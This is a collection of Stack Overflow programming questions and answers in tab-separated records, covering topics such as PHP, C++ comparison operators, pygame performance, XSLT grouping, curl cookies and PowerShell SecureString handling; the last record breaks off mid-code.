35758255	0	Creating a JSONPATH Query Talend <p>I am using CurrencyLayer to convert the following format in Talend. This is what the format looks like:</p> <pre><code>{ "success":true, "terms":"https:\/\/currencylayer.com\/terms", "privacy":"https:\/\/currencylayer.com\/privacy", "timestamp":1456950010, "source":"GBP", "quotes":{ "GBPUSD":1.406921, "GBPCAD":1.889923 } } { "success":true, "terms":"https:\/\/currencylayer.com\/terms", "privacy":"https:\/\/currencylayer.com\/privacy", "timestamp":1456950010, "source":"EUR", "quotes":{ "EURUSD":1.08665, "EURCAD":1.459701 } } { "success":true, "terms":"https:\/\/currencylayer.com\/terms", "privacy":"https:\/\/currencylayer.com\/privacy", "timestamp":1456950010, "source":"USD", "quotes":{ "USDCAD":1.343305 } } { "success":true, "terms":"https:\/\/currencylayer.com\/terms", "privacy":"https:\/\/currencylayer.com\/privacy", "timestamp":1456950010, "source":"CAD", "quotes":{ "CADUSD":0.744433 } } </code></pre> <p>Each will be a seperate API call. </p> <p>My database format looks like the following: CurrFrom, CurrTo, Rate, Date.</p> <p>Within Talend, I have created the FileInput using this URl and I can parse the timestamp, source. But how would I get the USD, CAD, and their respective rates and how would that be mapped to input into the database itself. </p> <p>help would be appreciated. </p>
1108336	0	 <p>I guess you are running PHP without <a href="http://pl2.php.net/manual/en/ini.core.php" rel="nofollow noreferrer"><code>register_globals</code></a> option which is safe. That's why you need to access the submitted values using <code>$_POST['user']</code> and similar...</p> <p>How about adding:</p> <pre><code> $user = $_POST['user'] $email = $_POST['email'] // etc... </code></pre>
32135853	0	 <p>Try this:</p> <pre><code>&lt;field name="organization_type_id" domain="[('id', 'in', parent_id.organization_type_id.allowed_children_ids.ids)]" /&gt; </code></pre> <p>While <code>allowed_children_ids</code> is a set of records, <code>allowed_children_ids.ids</code> is a list of ids of those records.</p> <p>You can also approach this from the other side. This should work and be event faster:</p> <pre><code>&lt;field name="organization_type_id" domain="[('allowed_parent_type_ids', '=', parent_id.organization_type_id)]" /&gt; </code></pre>
15020791	0	Weird thing is happening on Live Server <p>I am facing a weird thing when i move the file to live server. Actually i have an XML file. It is read from Jquery and the contents are displayed in the HTML Page. Yesterday i made some changes in the XML file and updated in the Live server. It works perfectly in the local. But in Live server it is returning old XML file values only. I totally removed the file and moved the new file.</p> <p>I thought it is referring from somewhere else. So i deleted the file and checked. But it shows error on that time. So it refers the same file only. I opened the file in the live server itself. Everything is perfect. But it still shows old content. I don't know what is the problem happening on live server.</p> <p>Can anyone help me to figure out?</p>
24581082	0	 <p>I am using Android Studio 0.8.1. I have a project's gradle file like below:</p> <pre><code>android { compileSdkVersion 19 buildToolsVersion "20.0.0" defaultConfig { applicationId "com.omersonmez.widgets.hotspot" minSdkVersion 15 targetSdkVersion 19 versionCode 1 versionName "1.0" } buildTypes { release { runProguard false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' } } } </code></pre> <p>My emulator was android 4.0. So i modified my emulator and made api level 4.0.3(apilevel 15). It worked. </p>
13604607	0	 <p>User-agents define the <code>&lt;a /&gt;</code> tag as interactive, but this element was only designed to make an hypertext reference without any idea of click.</p> <p>This user-agent behavior became a standard, which is not the same with the longdesc attribute of the <code>&lt;img /&gt;</code> tag.</p> <p>Because HTML was designed to structure information and contents, not to make interactions, the new version of HTML (5) tries to "palliate" this lack and introduces the <code>&lt;command /&gt;</code> tag to have interactions on HTML non-informative contents as "read more" anchors in example.</p> <p>Note that "A command can be explicitly part of a context menu or toolbar" should also say that the <code>&lt;command /&gt;</code> can be used in another context and does not require <code>&lt;form /&gt;</code> tag instead of <code>&lt;input /&gt;</code> or <code>&lt;button /&gt;</code>.</p> <p><sub>Thank you to Spontifixus &amp; Daniel Kutik for correcting this answer</sub></p>
35699448	0	 <p>The following regex <a href="https://regex101.com/r/nQ6oJ1/1" rel="nofollow">does what you're looking for</a>:</p> <pre><code>\d+(?:\s?(?:\$|euro)) </code></pre> <p>In <code>PHP</code> code, this would be:</p> <pre><code>$string ="i have 300 $, 1000$ ,500 euro in my account"; $regex = '~\d+(?:\s?(?:\$|euro))~'; preg_match_all($regex, $string, $matches); print_r($matches); </code></pre> <p>See <a href="http://ideone.com/BCha1a" rel="nofollow">a demo on ideone.com</a>.<br> To actually get the digits (300,1000,500 in your case), you could use a capturing group like so:</p> <pre><code>$regex = '~(\d+)(?:\s?(?:\$|euro))~'; preg_match_all($regex, $string, $matches); print_r($matches); </code></pre> <p>To match other currencies as well (as @Wiktor pointed out), add these to the non-capturing group:</p> <pre><code>(\d+)(?:\s?(?:\$|euro|¥|yen)) </code></pre> <p>To allow <strong>float</strong> values, change the pattern as follows:</p> <pre><code>([\d.]+)(?:\s?(?:\$|euro|¥|yen)) </code></pre>
6396117	0	 <p>Use Psyco, for python2:</p> <pre><code>import psyco psyco.full() </code></pre> <p>Also, enable doublebuffering. For example:</p> <pre><code>from pygame.locals import * flags = FULLSCREEN | DOUBLEBUF screen = pygame.display.set_mode(resolution, flags, bpp) </code></pre> <p>You could also turn off alpha if you don't need it:</p> <pre><code>screen.set_alpha(None) </code></pre> <p>Instead of flipping the entire screen every time, keep track of the changed areas and only update those. For example, something roughly like this (main loop):</p> <pre><code>events = pygame.events.get() for event in events: # deal with events pygame.event.pump() my_sprites.do_stuff_every_loop() rects = my_sprites.draw() activerects = rects + oldrects activerects = filter(bool, activerects) pygame.display.update(activerects) oldrects = rects[:] for rect in rects: screen.blit(bgimg, rect, rect) </code></pre> <p>Most (all?) drawing functions return a rect.</p> <p>You can also set only some allowed events, for more speedy event handling:</p> <pre><code>pygame.event.set_allowed([QUIT, KEYDOWN, KEYUP]) </code></pre> <p>Also, I would not bother with creating a buffer manually and would not use the HWACCEL flag, as I've experienced problems with it on some setups.</p> <p>Using this, I've achieved reasonably good FPS and smoothness for a small 2d-platformer.</p>
2345527	0	 <p>There's a <a href="http://svn.collab.net/repos/svn/trunk/contrib/hook-scripts/remove-zombie-locks.py" rel="nofollow noreferrer">Python</a> script (referenced here: <a href="http://subversion.tigris.org/ds/viewMessage.do?dsForumId=1065&amp;dsMessageId=2369399" rel="nofollow noreferrer">http://subversion.tigris.org/ds/viewMessage.do?dsForumId=1065&amp;dsMessageId=2369399</a>). I'd either use that, or translate it to .NET if you needed to.</p>
27160869	0	 <p>You can get content from articles easy with the follow "tools":</p> <ol> <li>scrapy (recommended, but have greater learning curve)</li> <li>newspaper (gives you immediately title, author, text, images, videos, etc. )</li> <li>goose-extractor (is like newspaper)</li> </ol>
9830013	0	 <p>If you will never have dots, you can use this</p> <pre><code>PARSENAME(REPLACE(ColumnName,':','.'),1) </code></pre> <p>example</p> <pre><code>DECLARE @v VARCHAR(100) = 'DT:CSDF' SELECT PARSENAME(REPLACE(@v,':','.'),1) </code></pre> <p>otherwise use PATINDEX and RIGHT</p> <pre><code>SELECT RIGHT(ColumnName,LEN(ColumnName) -PATINDEX('%:%',ColumnName)) </code></pre> <p>Example</p> <pre><code>DECLARE @v VARCHAR(100) = 'DT:CSDF' SELECT RIGHT(@v,LEN(@v) -PATINDEX('%:%',@v)) </code></pre>
21417690	0	 <p>The short answer is the operator needs to be at the end of the line in order to tell Ruby to continue reading the next line as part of the statement, so this would work:</p> <pre><code>if ( (aa != nil &amp;&amp; self.prop1 == aa.decrypt) || (bb != nil &amp;&amp; self.prop2 == bb.decrypt) ) &amp;&amp; (self.id.nil? || self.id != id) return true end </code></pre> <p>That being said, you can probably reduce the logic by throwing exceptions based on input values, and removing some redundant checks (I'm making some jumps here about what your variables will look like, but you get the idea.)</p> <pre><code>raise 'aa must support decrypt' unless aa.respond_to? :decrypt raise 'bb must support decrypt' unless bb.respond_to? :decrypt if prop1 == aa.decrypt || prop2 == bb.decrypt if self.id != id return true end end </code></pre>
842967	0	 <p>I have now switched from <code>wsDualHttpBinding</code> to <code>NetTcpBinding</code> and for some reason, everything is working fine. </p> <p>I have used <a href="http://www.singingeels.com/Articles/Duplex_WCF_Services_Hosted_in_IIS_Using_NetTcp.aspx" rel="nofollow noreferrer">this article</a> to help me set up hosting on IIS, and thankully everything is working as expected, with callbacks.</p>
38371187	1	Color sequence game in Python <p>The code below is for color sequence guessing in python.</p> <pre><code>import random import time def colorgame(): r='red' b='blue' g='green' y='yellow' v='violet' bl='black' o='orange' w='white' m='magenta' colors = [r, b, g, y, v, bl, o, w, m] sequence=[] win = True while win == True: else: win=False </code></pre> <p>In the first iteration say <code>sequence = 'red'</code> user enters <code>red</code> and it prints <code>"Correct"</code>. But, when it comes to the second iteration (say) <code>sequence = ['red', 'green']</code> and user enters <code>'red' 'green'</code> It is not returning correct. Please help me in correcting the code so that the user input is accepted as list and compared to the existing list (<code>sequence</code>)</p>
33267366	0	 <p>Here is my modified mulerequester as per Ryan's suggestion. It uses both connector and selector as Uri params.</p> <pre><code> &lt;mulerequester:request config-ref="Mule_Requester" resource="wmq://REPLY.QUEUE?connector=wmqConnector&amp;amp;selector=JMSCorrelationID%3D'#[sessionVars.myCorrelationId]'" doc:name="Mule Requester" timeout="120000"/&gt; </code></pre>
17936157	0	 <p>Either make plot space annotations for the second labels or create a second plot. Have the second plot only display data labels but no plot data (set all line styles and fills to <code>nil</code>).</p>
34134911	0	 <p><code>String#to_i</code> returns a new Object (which is the only sensible implementation; think a moment about what would happen if <code>String#to_i</code> magically changed the object's class).</p> <p>So, to assign the integer value to your <code>sum</code> variable, use</p> <pre><code> sum = sum.to_i </code></pre> <p>or (better) introduce a new variable for your integer value:</p> <pre><code> sum_as_integer = sum.to_i </code></pre>
5740505	0	 <p>As other people have said, you need to implement a comparison function yourself.</p> <p>There is a proposed way to ask the compiler to generate the obvious/naive(?) implementation: see <a href="http://www.open-std.org/Jtc1/sc22/wg21/docs/papers/2014/n4126.htm" rel="nofollow">here</a>.</p> <p>It may seem a bit unhelpful of C++ not to have already Standardised this, but often structs/classes have some <strong>data members to exclude</strong> from comparison (e.g. counters, cached results, container capacity, last operation success/error code, cursors), as well as <strong>decisions to make</strong> about myriad things including but not limited to:</p> <ul> <li>which fields to compare first, e.g. comparing a particular <code>int</code> member might eliminate 99% of unequal objects very quickly, while a <code>map&lt;string,string&gt;</code> member might often have identical entries and be relatively expensive to compare - if the values are loaded at runtime, the programmer may have insights the compiler can't possibly</li> <li>in comparing strings: case sensitivity, equivalence of whitespace and separators, escaping conventions...</li> <li>precision when comparing floats/doubles</li> <li>whether NaN floating point values should be considered equal</li> <li>comparing pointers or pointed-to-data (and if the latter, how to know how whether the pointers are to arrays and of how many objects/bytes needing comparison)</li> <li>whether order matters when comparing unsorted containers (e.g. <code>vector</code>, <code>list</code>), and if so whether it's ok to sort them in-place before comparing vs. using extra memory to sort temporaries each time a comparison is done</li> <li>how many array elements currently hold valid values that should be compared (is there a size somewhere or a sentinel?)</li> <li>which member of a <code>union</code> to compare</li> <li>normalisation: for example, date types may allow out-of-range day-of-month or month-of-year, or a rational/fraction object may have 6/8ths while another has 3/4ers, which for performance reasons they correct lazily with a separate normalisation step; you may have to decide whether to trigger a normalisation before comparison</li> <li>what to do when weak pointers aren't valid</li> <li>how to handle members and bases that don't implement <code>operator==</code> themselves (but might have <code>compare()</code> or <code>operator&lt;</code> or <code>str()</code> or getters...)</li> <li>what locks must be taken while reading/comparing data that other threads may want to update</li> </ul> <p>So, it's kind of <strong>nice to have an error</strong> until you've explicitly thought about what comparison should mean for your specific structure, <strong>rather than letting it compile but not give you a meaningful result at run-time</strong>.</p> <p>All that said, it'd be good if C++ let you say <code>bool operator==() const = default;</code> when you'd decided a "naive" member-by-member <code>==</code> test <em>was</em> ok. Same for <code>!=</code>. Given multiple members/bases, "default" <code>&lt;</code>, <code>&lt;=</code>, <code>&gt;</code>, and <code>&gt;=</code> implementations seem hopeless though - cascading on the basis of order of declaration's possible but very unlikely to be what's wanted, given conflicting imperatives for member ordering (bases being necessarily before members, grouping by accessibility, construction/destruction before dependent use). To be more widely useful, C++ would need a new data member/base annotation system to guide choices - that would be a great thing to have in the Standard though, ideally coupled with AST-based user-defined code generation... I expect it'll happen one day.</p> <h2>Typical implementation of equality operators</h2> <h3>A plausible implementation</h3> <p>It's <em>likely</em> that a reasonable and efficient implementation would be:</p> <pre><code>inline bool operator==(const MyStruct1&amp; lhs, const MyStruct1&amp; rhs) { return lhs.my_struct2 == rhs.my_struct2 &amp;&amp; lhs.an_int == rhs.an_int; } </code></pre> <p>Note that this needs an <code>operator==</code> for <code>MyStruct2</code> too.</p> <p>Implications of this implementation, and alternatives, are discussed under the heading <em>Discussion of specifics of your MyStruct1</em> below.</p> <h3>A consistent approach to ==, &lt;, &gt; &lt;= etc</h3> <p>It's easy to leverage <code>std::tuple</code>'s comparison operators to compare your own class instances - just use <code>std::tie</code> to create tuples of references to fields in the desired order of comparison. Generalising my example from <a href="http://stackoverflow.com/a/37269108/410767">here</a>:</p> <pre><code>inline bool operator==(const MyStruct1&amp; lhs, const MyStruct1&amp; rhs) { return std::tie(lhs.my_struct2, lhs.an_int) == std::tie(rhs.my_struct2, rhs.an_int); } inline bool operator&lt;(const MyStruct1&amp; lhs, const MyStruct1&amp; rhs) { return std::tie(lhs.my_struct2, lhs.an_int) &lt; std::tie(rhs.my_struct2, rhs.an_int); } // ...etc... </code></pre> <p>When you "own" (i.e. can edit, a factor with corporate and 3rd party libs) the class you want to compare, and especially with C++14's preparedness to deduce function return type from the <code>return</code> statement, it's often nicer to add a "tie" member function to the class you want to be able to compare:</p> <pre><code>auto tie() const { return std::tie(my_struct1, an_int); } </code></pre> <p>Then the comparisons above simplify to:</p> <pre><code>inline bool operator==(const MyStruct1&amp; lhs, const MyStruct1&amp; rhs) { return lhs.tie() == rhs.tie(); } </code></pre> <p>If you want a fuller set of comparison operators, I suggest <a href="http://www.boost.org/doc/libs/1_60_0/libs/utility/operators.htm" rel="nofollow">boost operators</a> (search for <code>less_than_comparable</code>). If it's unsuitable for some reason, you may or may not like the idea of support macros <a href="http://coliru.stacked-crooked.com/a/957768e47b82c2c9" rel="nofollow">(online)</a>:</p> <pre><code>#define TIED_OP(STRUCT, OP, GET_FIELDS) \ inline bool operator OP(const STRUCT&amp; lhs, const STRUCT&amp; rhs) \ { \ return std::tie(GET_FIELDS(lhs)) OP std::tie(GET_FIELDS(rhs)); \ } #define TIED_COMPARISONS(STRUCT, GET_FIELDS) \ TIED_OP(STRUCT, ==, GET_FIELDS) \ TIED_OP(STRUCT, !=, GET_FIELDS) \ TIED_OP(STRUCT, &lt;, GET_FIELDS) \ TIED_OP(STRUCT, &lt;=, GET_FIELDS) \ TIED_OP(STRUCT, &gt;=, GET_FIELDS) \ TIED_OP(STRUCT, &gt;, GET_FIELDS) </code></pre> <p>...that can then be used a la...</p> <pre><code>#define MY_STRUCT_FIELDS(X) X.my_struct2, X.an_int TIED_COMPARISONS(MyStruct1, MY_STRUCT_FIELDS) </code></pre> <p>(C++14 member-tie version <a href="http://coliru.stacked-crooked.com/a/8a9990f1339df20c" rel="nofollow">here</a>)</p> <h2>Discussion of specifics of your MyStruct1</h2> <p>There are implications to the choice to provide a free-standing versus member <code>operator==()</code>...</p> <p><strong>Freestanding implementation</strong></p> <p>You have an interesting decision to make. As your class can be implicitly constructed from a <code>MyStruct2</code>, a free-standing / non-member <code>bool operator==(const MyStruct2&amp; lhs, const MyStruct2&amp; rhs)</code> function would support...</p> <pre><code>my_MyStruct2 == my_MyStruct1 </code></pre> <p>...by first creating a temporary <code>MyStruct1</code> from <code>my_myStruct2</code>, then doing the comparison. This would definitely leave <code>MyStruct1::an_int</code> set to the constructor's default parameter value of <code>-1</code>. Depending on whether you include <code>an_int</code> comparison in the implementation of your <code>operator==</code>, a <code>MyStruct1</code> might or might not compare equal to a <code>MyStruct2</code> that itself compares equal to the <code>MyStruct1</code>'s <code>my_struct_2</code> member! Further, creating a temporary <code>MyStruct1</code> can be a very inefficient operation, as it involves copying the existing <code>my_struct2</code> member to a temporary, only to throw it away after the comparison. (Of course, you could prevent this implicit construction of <code>MyStruct1</code>s for comparison by making that constructor <code>explicit</code> or removing the default value for <code>an_int</code>.)</p> <p><strong>Member implementation</strong></p> <p>If you want to avoid implicit construction of a <code>MyStruct1</code> from a <code>MyStruct2</code>, make the comparison operator a member function:</p> <pre><code>struct MyStruct1 { ... bool operator==(const MyStruct1&amp; rhs) const { return tie() == rhs.tie(); // or another approach as above } }; </code></pre> <p>Note the <code>const</code> keyword - only needed for the member implementation - advises the compiler that comparing objects doesn't modify them, so can be allowed on <code>const</code> objects.</p> <h2>Comparing the visible representations</h2> <p>Sometimes the easiest way to get the kind of comparison you want can be...</p> <pre><code> return lhs.to_string() == rhs.to_string(); </code></pre> <p>...which is often very expensive too - those <code>string</code>s painfully created just to be thrown away! For types with floating point values, comparing visible representations means the number of displayed digits determines the tolerance within which nearly-equal values are treated as equal during comparison.</p>
26487614	0	storing transformed BufferedImage in Java <p>In Java, instead of using photoshop to transform my images(that I use in the program), I want to use code to transform and save them.</p> <p>I have created an AffineTransform object "at" and called the <code>rotate()</code> method. I have a BufferedImage called "image". </p> <p>I can draw the image on the screen with the desired transformation with this code:</p> <pre><code>g2d.drawImage(image, at, null); </code></pre> <p>What I want to do is to store the combination of at and image in a new BufferedImage image2. How can I do this so that<code>g2d.drawImage(image2,50,50, null);</code> will show the rotated version of image?</p> <p>edit: I've tweaked Ezequiel's answer a bit to get the effect I wanted. This did the trick:</p> <pre><code>BufferedImage image2= null; AffineTransformOp affineTransformOp = new AffineTransformOp(at,AffineTransformOp.TYPE_BILINEAR); image2 = affineTransformOp.filter(image, image2); g2d.drawImage(image2, 50, 50, null); </code></pre>
31916705	0	 <p>Got it!</p> <p>It seems that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1192763" rel="nofollow">the debugger has issues with internationalized domain names (IDN)</a>.</p>
40628904	0	 <p>Change Swift Compiler optimization Level to </p> <blockquote> <p>Fast, Single File Optimization</p> </blockquote> <p>instead of whole module! <a href="https://i.stack.imgur.com/eJxcl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/eJxcl.png" alt="see the highlighted"></a> Something seems unusual with whole module optimization and Alamofire!</p>
30789596	0	How to save resource assignments on Bryntum's Gantt? <p>I have an resource assignment column on my Gantt. I can change the assignments but I want to know how to save them ? Also can I change the assignment default unit of percentage tot hours. </p>
33927174	1	Django reverse url to onetoonefield on success <p>Good day SO!</p> <p>Recently I've started working on Django, got myself a situation which I can't find the right solution on the web to solve it. So I've got a little question about URL reversing on a success. Currently when an user successfully creates an account, the user gets reversed to a profile based on the user_id which just got created: </p> <pre><code>class Create(CreateView): form_class = UserCreateForm # inherits from django's UserCreationForm def get_success_url(self): return reverse('users:profile', kwargs={'pk': self.object.pk}) </code></pre> <p>This is working properly. Now I created a profile module with a OneToOneField to the django.auth.models User model. When creating a new account, a signal is send to the create_profile_on_registration method.</p> <pre><code>@receiver(post_save, sender=User) def create_profile_on_registration(sender, created, instance, **kwargs): ... </code></pre> <p>This is also working properly, a new profile is created on user account registration. Now I would like to reverse the user to the new created profile_id instead of the user_id. However, I cant figure out exactly how to get this properly to work. Can you give me a little push in the right direction on how to approach this issue? I can't match up the right google search words or find any examples which explains or shows how to achieve this properly.</p> <p>Thanks in advance!</p>
6019294	0	Loading a cookie and posting data with curl <p>If I load in a cookie, I am able to get to the page that requires cookies, like this:</p> <pre><code>$cookie = ".ASPXAUTH=Secret"; curl_setopt($ch, CURLOPT_COOKIE, $cookie); </code></pre> <p>No problem here, I can run <code>curl_exec</code>, and see the page that requires cookies. </p> <p>If I also want to send some post data, I can do like this:</p> <pre><code>$data = array( 'index' =&gt; "Some data is here" ); $cookie = ".ASPXAUTH=Secret"; curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_COOKIE, $cookie); </code></pre> <p>I have set up a <a href="http://pastebin.com/37mDNNHr" rel="nofollow">dump script</a> on my local server, to see if it is working. If i send <strong>only</strong> the cookie, I can see it in the http headers, and if I send <strong>only</strong> the post data, I can see the post data.</p> <p>When I send both, I see only the cookie. </p> <p>Why?</p>
15175243	0	Grouping elements under a new node in xslt <p>I need to group some elements together and pull them together under a new element. </p> <p>Below is a sample record, I would like to group together the address information into an additional layer.</p> <p>Here is the original record -</p> <pre><code> &lt;Records&gt; &lt;People&gt; &lt;FirstName&gt;John&lt;/FirstName&gt; &lt;LastName&gt;Doe&lt;/LastName&gt; &lt;Middlename /&gt; &lt;Age&gt;20&lt;/Age&gt; &lt;Smoker&gt;Yes&lt;/Smoker&gt; &lt;Address1&gt;11 eleven st&lt;/Address1&gt; &lt;Address2&gt;app 11&lt;/Address2&gt; &lt;City&gt;New York&lt;/City&gt; &lt;State&gt;New York&lt;/State&gt; &lt;Status&gt;A&lt;/Status&gt; &lt;/People&gt; &lt;/Records&gt; </code></pre> <p>expected Result: I need to group address data under a new element as such -</p> <pre><code> &lt;Records&gt; &lt;People&gt; &lt;FirstName&gt;John&lt;/FirstName&gt; &lt;LastName&gt;Doe&lt;/LastName&gt; &lt;Middlename /&gt; &lt;Age&gt;20&lt;/Age&gt; &lt;Smoker&gt;Yes&lt;/Smoker&gt; &lt;Address&gt; &lt;Address1&gt;11 eleven st&lt;/address1&gt; &lt;Address2&gt;app 11&lt;/address2&gt; &lt;City&gt;New York&lt;/City&gt; &lt;State&gt;New York&lt;/State&gt; &lt;/Address&gt; &lt;Status&gt;A&lt;/Status&gt; &lt;/People&gt; &lt;/Records&gt; </code></pre> <p>Any help would be great! Thank you</p>
36690802	0	 <p>You simply need to set the <code>Foreground</code> property:</p> <pre><code>marker.ToolTip.Foreground = Brushes.Green; </code></pre>
13354692	0	 <p>If you are thinking about compilation time purpose IF CONDITION is always preferable. If conditions do faster checking than switch case.</p> <p>But if you thin programatically then If condition is just a series of boolean checks. For program to work efficiently switch case should be used(Although it consumes time).</p>
6520737	0	 <p><code>[]</code> notation will make it possible to transmit array data in a form.</p> <p>Name the checkboxes in the form like this:</p> <pre><code>&lt;input name="area[]" type="checkbox" value="51-75"&gt; </code></pre> <p>this should build an array of all selected check boxes. </p>
19419101	0	 <p>Can't tell you how frustrated I am trying to narrow down the cause of this one. Took me hours. Trial and error here and there.. all leads to nothing until one comment in one of the threads relating to this mentioned about "Executable". Boom! I remember the plist key "Executable file" in my project plist (PROJECT-info.plist). So I got there and found out that that entry was missing. I filled it in with whatever default you see when creating new project, "Executable file" paired with "${EXECUTABLE_NAME}". Build + Run. Then it finally worked! </p> <p>Btw, I did try all those deleting/resetting stuff found all over SO. None of them works. </p>
23765162	0	 <p>I’ve noticed occasionally that ASP.NET will cache the old SPROC in Visual Studio even after a change is made on SQL Server. So for example you changed custUPDATE by adding a parameter, and also added the parameter to your ASP.NET code, but are still receiving the “too many arguemtns specified” error because the old SPROC is being cached.</p> <p>If this is the case I would try the following:</p> <p>Change the SPROC name in your ASP.NET page from custUPDATE to [custUPDATE] and then try running it.</p>
2783555	0	where can I get these kind of exercises to solve? <p>Recently I did a Java programming exercise successfully which was sent by a recruiting firm, The problem statement goes like this 'There are two text files FI(records abt files and directory information) and FS(containing blocks of data) which represent a file Index and file System respectively and I was supposed to write a static read method in a class which will read the file from the FS depending upon the path string provided using FI' My question is where can I get these kind of exercises to solve, the complexity should be above average to tough.</p>
3531190	0	 <p>You can know when it's postback with a function such as:</p> <pre><code>import javax.faces.bean.ManagedBean; import javax.faces.context.FacesContext; @ManagedBean public class HelperBean { public boolean isPostback() { FacesContext context = FacesContext.getCurrentInstance(); return context.getRenderKit().getResponseStateManager().isPostback(context); } } </code></pre> <p>If for every refresh the default constructor is called, that means that your bean is <code>RequestScoped</code>. A refresh (GET) or a postback (POST) are considered as requests, so the bean will be created for every request. There are other instantiation options such as <code>SessionScoped</code> or <code>ApplicationScoped</code> or just instantiate it when a <strong>postback</strong> occurs, with the above function.</p> <p>Setting the scope a-la-JSF1.2</p> <p>Edit your <code>faces-config.xml</code> file located under <code>/WEB-INF</code>:</p> <pre><code> &lt;managed-bean&gt; &lt;managed-bean-name&gt;myBean&lt;/managed-bean-name&gt; &lt;managed-bean-class&gt;com.mypackage.myBean&lt;/managed-bean-class&gt; &lt;managed-bean-scope&gt;request&lt;/managed-bean-scope&gt; &lt;/managed-bean&gt; </code></pre> <p>you can use <code>request</code>, <code>session</code> or <code>application</code></p>
21741803	0	Powershell SecureString Encrypt/Decrypt To Plain Text Not Working <p>We are trying to store a user password in the registry as a secure string but we can not seem to find a way to convert it back to plain text. Is this possible with SecureString?</p> <p>Here is the simple test script we are trying to use...</p> <pre><code>Write-Host "Test Start..." $PlainPassword = "@SomethingStupid" | ConvertTo-SecureString -AsPlainText -Force $BSTR = ` [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($PlainPassword) $PlainPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) Write-Host "Password is: " $PlainPassword Read-Host </code></pre> <p>This is the error we are getting...</p> <pre><code>The term ' [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At C:\test.ps1:4 char:71 + $BSTR = ` [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR &lt;&lt;&lt;&lt; ($PlainPassword) + CategoryInfo : ObjectNotFound: ( [System.Runtim...ureStringToBSTR:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException Cannot find an overload for "PtrToStringAuto" and the argument count: "1". At C:\test.ps1:5 char:75 + $PlainPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto &lt;&lt;&lt;&lt; ($BSTR) + CategoryInfo : NotSpecified: (:) [], MethodException + FullyQualifiedErrorId : MethodCountCouldNotFindBest </code></pre>
24930555	0	 <p>I don't understand what exactly you are trying to do. If you want to get an array of pointers from your array of structs, you will need to make a loop. It would look like this (i did not try it)</p> <pre><code>person * friends_ptrs[NUM_OF_FRIENDS]; for (int i = 0; i &lt; NUM_OF_FRIENDS; i++) friends_ptrs[i] = friends + i; </code></pre>
24840539	0	if statement to check number of days in a month <p>I am writing a simple program in asp.net mvc5 that will display a calendar. I have an array that stores the months and days 1-31. I would like to use an if statement to check for the month to allow only the appropriate number of days. I am really new to mvc and would appreciate any suggestions on how to accomplish this.</p>
31680592	0	what is the maximum limit that svnadmin load/dump file execute <p>I am migrating cvs and Subversion 1.6 repos to new subversion 1.8 server. I use cvs2svn for CVS dump and svnadmin dump to create dump files and load in new subversion server. My CVS repositories maximum size is 8 GB and Subversion repos 15 GB in size. 1. <strong>Can I use cvs2svn to dump 8 gb cvs repository</strong>. cvs2svn will create dumpfile for 8 gb repository and will this dump can be loaded in subversion server. 2. <strong>can I use svnadmin dump (not delta) for 15 gb repository</strong> and <strong>will I be able to load in the new server.</strong> Is there any size limit or limitations on running cvs2svn conversion and svnadmin load and dump commands. Please share your approach and suggestions that I can follow.</p>
39664115	0	Produce an APK for multiple architectures for Qt projects <p>In 3d party APK files I notice there are folders for different architectures - armv7, arm64, x86, mips - so a single APK works for multiple architectures, supported by Android.</p> <p>However, I don't seem to find a way to do that with Qt projects. I have a project that targets multiple architectures, but I can only produce an APK for an architecture at a time, only for the currently active project kit.</p> <p>Is it possible to produce such a muti-arch APK for a Qt projects?</p>
14533682	0	User Registration using Slim Rest server and android client <p>I am working on a simple app where I sign up new users. - I am using SLIM PHP framework with MySQL on apache local host - I have a MySQL database with table called tbl_user. I have tested my SLIM implementation using CURL - On Client side, I have three EditView fields named fname, email and password and a sign up button - Its simple, when user click sign up button, the db connection should be made and new user should be added in database. Registration is simple w/o any checks. That I am going to implement once I resolve this issue.</p> <p>Please help. I have searched a lot and could not resolve the errors.</p> <p>I am getting following errors:</p> <p>ERROR</p> <p>This is my actual error now<br> 01-27 08:42:14.981: D/URL read(6739): Slim Application Errorbody{margin:0;padding:30px;font:12px/1.5 Helvetica,Arial,Verdana,sans-serif;}h1{margin:0;font-size:48px;font-weight:normal;line-height:48px;}strong{display:inline-block;width:65px;}<h1>Slim Application Error</h1><p>The application could not run because of the following error:</p><h2>Details:</h2><strong>Message:</strong> error_log(/var/tmp/php.log) [function.error-log]: failed to open stream: No such file or directory<br/><strong>File:</strong> C:\xampp\htdocs\api\index.php<br/><strong>Line:</strong> 105<br/><h2>Stack Trace:</h2>#0 [internal function]: Slim::handleErrors(2, 'error_log(/var/...', 'C:\xampp\htdocs...', 105, Array)<br /> 01-27 08:42:14.981: D/URL read(6739): #1 C:\xampp\htdocs\api\index.php(105): error_log('SQLSTATE[23000]...', 3, '/var/tmp/php.lo...')<br /> 01-27 08:42:14.981: D/URL read(6739): #2 [internal function]: register()<br /> 01-27 08:42:14.981: D/URL read(6739): #3 C:\xampp\htdocs\api\Slim\Route.php(392): call_user_func_array('register', Array)<br /> 01-27 08:42:14.981: D/URL read(6739): #4 C:\xampp\htdocs\api\Slim\Slim.php(1052): Slim_Route->dispatch()<br /> 01-27 08:42:14.981: D/URL read(6739): #5 C:\xampp\htdocs\api\index.php(26): Slim->run()<br /> 01-27 08:42:14.981: D/URL read(6739): #6 {main}</p> <p>RegisterActivity.java(partial)</p> <pre><code> class CreateNewUser extends AsyncTask&lt;String, String, String&gt; { /** * Before starting background thread Show Progress Dialog * */ @Override protected void onPreExecute() { super.onPreExecute(); pDialog = new ProgressDialog(RegisterActivity.this); pDialog.setMessage("Signing Up.."); pDialog.setIndeterminate(false); pDialog.setCancelable(true); pDialog.show(); } /** * Creating User * */ protected String doInBackground(String... args) { String fname = mUsername.getText().toString(); String email = mEmail.getText().toString(); String password = mPassword.getText().toString(); // Building Parameters List&lt;NameValuePair&gt; params = new ArrayList&lt;NameValuePair&gt;(); params.add(new BasicNameValuePair("email", email)); params.add(new 